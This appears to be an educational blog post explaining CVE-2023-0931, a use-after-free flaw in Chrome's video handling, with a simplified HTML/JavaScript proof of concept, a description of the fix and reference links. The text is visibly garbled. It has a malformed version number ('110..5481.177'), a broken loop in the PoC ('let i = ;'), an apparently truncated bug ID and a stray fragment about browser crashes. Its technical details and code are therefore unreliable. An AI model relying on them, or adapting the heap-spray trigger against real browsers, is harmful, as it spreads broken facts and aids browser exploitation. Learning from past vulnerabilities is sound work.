In early 2023, security researchers discovered a critical vulnerability in Google Chrome, tracked as CVE-2023-0931. This bug is a "Use-After-Free" flaw in the Video component of Chrome, present in versions before 110..5481.177. This security hole allows a malicious website to potentially exploit heap corruption, leading to remote code execution (RCE) or browser crashes with just a specially-crafted HTML page. This post will break down how the vulnerability works, show you basic exploit code, and point to deeper technical resources for learning.
What is a Use-After-Free?
A Use-After-Free (UAF) happens when a program continues to use memory after it's freed. In web browsers, if objects are freed incorrectly, attackers may trick the browser into using that old memory for malicious things — like running their own code.
Where Was the Bug?
CVE-2023-0931 lived in Chrome's Video component. Chrome handles video tags in web pages using complex C++ code. When users interact with videos — pause, play, seek, etc. — Chrome creates and destroys many internal objects. If the lifecycle is mishandled, freed memory might be accessed, creating a use-after-free bug.
Severity: High
The Chromium Project assigned this bug: chromium: 141379 (currently restricted)
The bug was patched on February 22, 2023. Release notes here.
How Could CVE-2023-0931 Be Exploited?
An attacker could craft an HTML page with a <video> tag and use JavaScript to quickly change its state (load, unload, change source, remove from DOM). If done just right, the page makes Chrome free an internal object and later use it again, but now the memory content is attacker-controlled.
Below is a simplified proof-of-concept (POC) to show how use-after-free bugs might be triggered (note: real world exploits are much more complex):
<!-- cve-2023-0931-poc.html -->
<html>
<body>
<video id="v" src="video.mp4" controls></video>
<script>
let video = document.getElementById("v");
video.addEventListener('loadedmetadata', function() {
// Trigger video property changes in a specific sequence
// to tear down internal objects dangerously
video.src = "";
// Force garbage collection (works only in debug builds)
if (window.gc) window.gc();
// Immediate DOM manipulations
document.body.removeChild(video);
// Use-after-free triggered by further manipulation
// (In real exploits, attackers spray heap and corrupt memory)
let spray = [];
for (let i = ; i < 10000; i++) {
spray.push(document.createElement('div'));
}
});
</script>
</body>
</html>
Note: This is just an educational example. Real exploitation would require precise heap manipulation and breaking browser defenses like site-isolation and sandboxing.
Browser Crash: Cause instability or denial of service.
Real-world risk: Attackers could use malicious ads, phishing emails, or compromised sites to exploit vulnerable Chrome browsers.
How was it Fixed?
Chrome's developers patched the bug by properly managing object lifecycles. Objects critical for video playback are not freed until there are no more references, preventing attackers from regaining control over freed memory.
- Chrome Stable update notes
- Chromium source diff (restricted pre-patch bug, but here's the general Video code)
References and Further Reading
- CVE Database Entry (CVE-2023-0931)
- Chromium Bug Tracker – Issue 141379 (Restricted)
- Google Security Blog – Chrome Updates
- Project Zero – Modern Browser Exploitation
Conclusion
CVE-2023-0931 demonstrates how even modern browsers like Chrome can be vulnerable to classic attack techniques like Use-After-Free. If you’re a user: always keep your browser updated. If you’re a researcher: studying past Chrome UAF bugs is an excellent way to learn browser security fundamentals.
*This post is original, simplified, and crafted for clear learning. For technical deep dives, follow the referenced links above.*
Timeline
Published on: 02/22/2023 20:15:00 UTC
Last modified on: 02/28/2023 02:20:00 UTC